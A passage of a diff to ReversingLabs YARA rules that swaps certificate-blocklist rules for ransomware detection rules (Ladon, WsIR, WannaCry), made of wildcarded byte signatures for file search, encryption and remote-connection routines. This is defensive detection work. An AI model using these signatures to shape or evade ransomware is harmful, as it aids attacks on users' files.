?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 + } + $parse_server_commands = { + 83 F9 ?? 0F 84 E0 00 00 00 50 53 56 57 89 C3 89 D6 89 CF 31 D2 8A 06 8A 56 ?? 3C ?? 74 25 3C ?? 74 3E 3C ?? 74 51 3C ?? + 74 5C 3C ?? 74 76 3C ?? 0F 84 84 00 00 00 3C ?? 0F 84 8B 00 00 00 E9 97 00 00 00 83 F9 ?? 89 D8 7F 0A E8 ?? ?? ?? ?? E9 + 91 00 00 00 89 CA E8 ?? ?? ?? ?? E9 85 00 00 00 83 F9 ?? 89 D8 7F 07 E8 ?? ?? ?? ?? EB 77 89 CA E8 ?? ?? ?? ?? EB 6E 89 + D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB 5F 55 89 D5 8B 54 2E ?? 89 D8 03 5C 2E ?? 8B 4C 2E ?? 8B 12 E8 62 FF FF FF 4F 7F + E8 5D EB 41 55 89 D5 89 D8 03 5C 2E ?? 89 F2 E8 ?? ?? ?? ?? 4F 7F F0 5D EB 2B 89 D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB + 1C 89 D8 89 F2 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F1 EB 0B 5F 5E 5B 58 B0 ?? E9 ?? ?? ?? ?? 5F 5E 5B 58 C3 8B C0 B9 ?? ?? ?? + ?? E9 0A FF FF FF C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Developer ID Application: Edouard Roulet (W7J9LRHXTG)" and pe.signatures [ i ] . serial == "12:72:51:b3:2b:9a:50:bd" and 1493769599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $file_extensions_1 and $file_extensions_2 and $file_extensions_3 and $file_extensions_4 and $file_extensions_5 ) and $parse_server_commands ) } - -rule REVERSINGLABS_Cert_Blocklist_48Cad4E6966E22D6 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ladon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing OSX DokSpy backdoor." + description = "Yara rule that detects Ladon ransomware." author = "ReversingLabs" - id = "22d62d7e-3f76-5f6b-a3f1-a6b087fb63e2" - date = "2020-08-05" - modified = "2023-11-08" + id = "ebc8f957-cdcf-54eb-bd02-74088cf51768" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2176-L2192" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ladon.yara#L1-L101" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7733b8a97d9f3538db04309a2e3f9df6cb64930b0b6f7f241c3e629be2dd7804" + logic_hash = "979e3f3bf6a67bf10b6bfdd2eeb722d8836096076b7e88c6d4aca041a1a9eecb" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ladon" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Developer ID Application: Seven Muller (FUP9692NN6)" and pe.signatures [ i ] . serial == "48:ca:d4:e6:96:6e:22:d6" and 1492732799 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_5E15205F180442Cc6C3C0F03E1A33D9F : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "4a0d995a-37df-52a4-a66f-4bc6c290c10a" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2194-L2210" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1ca238b5da4ff9940425c99f55542c931ccdf0ea3b0a2acbf00ffbbb54171ae0" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 + 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 + 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? + 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85 + ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 85 DB 74 ?? 90 8B 45 ?? 8B + 34 B8 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 8B 08 66 3B 0E 75 ?? 66 85 C9 74 ?? + 66 8B 48 ?? 66 3B 4E ?? 75 ?? 83 C0 ?? 83 C6 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83 + C8 ?? 85 C0 74 ?? 47 3B FB 72 ?? 8B 75 ?? 8B 7D ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF + 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 33 DB 83 F8 ?? 0F + 95 C3 FF 15 ?? ?? ?? ?? 5E 8B C3 5B 5F 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 33 DB 89 5D ?? E8 ?? ?? ?? ?? 8B F8 83 + C4 ?? 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 83 3F ?? 0F 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? + FF 77 ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF + 77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF + 77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF + 77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF + 77 ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 83 3E ?? 0F 85 + ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? + 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 39 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 70 + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF 75 ?? 33 FF C7 45 + ?? ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 83 3E ?? 75 ?? 57 + 68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? FF 70 ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 + ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 7B ?? A1 ?? + ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1D ?? ?? ?? ?? 85 F6 74 ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 8B C7 5F 5E 5B 8B E5 5D C3 FF 76 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 78 ?? 85 FF 74 ?? 8B 47 ?? 89 45 + } + $encrypt_files_p2 = { + 8B 70 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 04 75 ?? ?? ?? ?? 50 6A ?? FF 15 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 84 9D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 0C 75 + ?? ?? ?? ?? 51 50 8D 46 ?? 50 8B 45 ?? FF 70 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 3F + 43 85 FF 75 ?? 68 ?? ?? ?? ?? C7 84 9D ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 + 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B C8 89 4D ?? 85 C9 0F 84 ?? ?? ?? ?? + 8B C6 99 6A ?? 2B C2 D1 F8 6A ?? 89 45 ?? 8D 45 ?? 50 51 6A ?? 56 FF 77 ?? FF 15 ?? + ?? ?? ?? 8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 57 8B 7D ?? 8B F0 57 56 FF 15 ?? ?? ?? ?? 56 FF 15 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? + ?? ?? 8B 7D ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 05 ?? ?? ?? + ?? ?? ?? ?? ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 85 DB 74 ?? FF B4 B5 ?? + ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 46 3B F3 72 ?? 8B 45 ?? 5F 5E + 5B 8B E5 5D C3 + } + $remote_connection = { + 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E5 5D C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 78 ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? + 85 F6 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ziber Ltd" and pe.signatures [ i ] . serial == "5e:15:20:5f:18:04:42:cc:6c:3c:0f:03:e1:a3:3d:9f" and 1498607999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_4C8E3B1613F73542F7106F272094Eb23 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Wsir : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects WsIR ransomware." author = "ReversingLabs" - id = "06f79efe-134e-5941-80fe-3b6482ac9668" - date = "2020-08-05" - modified = "2023-11-08" + id = "cb4ab736-9421-5b92-b4a5-c5db0b61725a" + date = "2022-08-02" + modified = "2022-08-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2212-L2228" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WsIR.yara#L1-L73" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "15c21b783409d904a0b4971dbdcbd0740083d13f3c633ee77c87df46d3aca748" + logic_hash = "c22c01f93945c7721ebfe5e7a09c3bf2b9d0ad95740bc0a76b4e61741f61d82c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WsIR" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADD Audit" and pe.signatures [ i ] . serial == "4c:8e:3b:16:13:f7:35:42:f7:10:6f:27:20:94:eb:23" and 1472687999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_2Ce2Bd0Ad3Cfde9Ea73Eec7Ca30400Da : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "b7439b38-c8b7-5dcb-8d10-952862ce3465" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2230-L2246" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a879ecd957acd29e8a5bad6c97cd10453ab857949680b522735bd77eb561d2ee" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 + 55 8B E9 8D 4C 24 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? C7 84 24 ?? ?? ?? ?? ?? + ?? ?? ?? 8B 41 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 00 + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 85 C0 0F 95 C3 E8 ?? ?? ?? ?? + 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 + ?? ?? ?? ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 + ?? 8D 4C 24 ?? 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8B B4 24 ?? ?? + ?? ?? 57 8B 3D ?? ?? ?? ?? BB ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 54 24 ?? 68 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 45 ?? 8D 54 24 ?? 52 6A ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 50 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 89 4C 24 ?? 89 5C 24 ?? FF D7 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? + ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 56 6A ?? 68 + ?? ?? ?? ?? 51 FF D7 8D 4C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F + 5E 8B 8C 24 ?? ?? ?? ?? 5D 5B 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 + } + $encrypt_files = { + FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? + ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? + ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 + C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B + 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? + E9 + } + $exec_proc = { + 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? + ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ?? + ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B + F0 83 C4 ?? 85 F6 75 ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8D 74 04 ?? EB ?? 8D 57 ?? + 8D 4C 24 ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 4C 24 + ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 EB ?? C6 06 ?? 68 ?? ?? ?? + ?? 56 FF D3 8B 44 24 ?? 50 56 FF D3 8D 4C 24 ?? 55 51 FF 15 ?? ?? ?? ?? 8B F0 33 D2 + 83 FE ?? 0F 9F C2 8D 4C 24 ?? 8B F2 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 5D 8B C6 5B 8B 8C 24 ?? ?? ?? ?? 5F 5E 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Media Lid" and pe.signatures [ i ] . serial == "2c:e2:bd:0a:d3:cf:de:9e:a7:3e:ec:7c:a3:04:00:da" and 1493337599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $exec_proc ) } -rule REVERSINGLABS_Cert_Blocklist_0Fbc30Db127A536C34D7A0Fa81B48193 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Wannacry : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects WannaCry ransomware." author = "ReversingLabs" - id = "c755a6c1-e113-5513-9a61-87bf6d7dcb3e" - date = "2020-08-05" - modified = "2023-11-08" + id = "61734d47-2525-5e3a-94b4-60493dfe2b93" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2248-L2264" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WannaCry.yara#L3-L135" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6b109b5636aa297a6e07f9d9213f7f07a7767b58442d03dc2f34f8a9b3eaba2b" + logic_hash = "fed58b533a9f7c3eb1b3e4f8fbe1f519aab94d1c066ae6937c21876693be0eac" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WannaCry" + tc_detection_factor = 5 importance = 25 + strings: + $main_1 = { + A0 ?? ?? ?? ?? 56 57 6A ?? 88 85 ?? ?? ?? ?? 59 33 C0 8D BD ?? ?? ?? ?? F3 AB 66 AB + AA 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 + 18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 + C0 74 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D + } + $main_2 = { + 68 ?? ?? ?? ?? 33 DB 50 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 15 + ?? ?? ?? ?? 83 38 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 00 FF 70 ?? E8 ?? ?? + ?? ?? 59 85 C0 59 75 ?? 53 E8 ?? ?? ?? ?? 85 C0 59 74 ?? BE ?? ?? ?? ?? 53 8D 85 ?? + ?? ?? ?? 56 50 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0 + 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 53 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 68 ?? ?? ?? ?? E8 + } + $main_3 = { + 83 EC ?? 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7C 24 ?? 33 C0 F3 A5 A4 89 44 24 ?? + 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 50 50 50 6A ?? 50 88 + 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 8B F0 6A ?? 51 56 + FF 15 ?? ?? ?? ?? 8B F8 56 8B 35 ?? ?? ?? ?? 85 FF 75 ?? FF D6 6A ?? FF D6 E8 + } + $start_service_3 = { + 83 EC ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 + 38 ?? 7D ?? E8 ?? ?? ?? ?? 83 C4 ?? C3 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? 8B F8 85 FF 74 ?? 53 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D + ?? ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E + 5B 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 83 C4 ?? C3 + } + $main_4 = { + 83 EC ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 53 56 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 ?? + 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E 5B 8D 44 24 ?? C7 44 24 ?? ?? + ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 33 C0 5F 83 C4 ?? C2 + } + $main_5 = { + 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 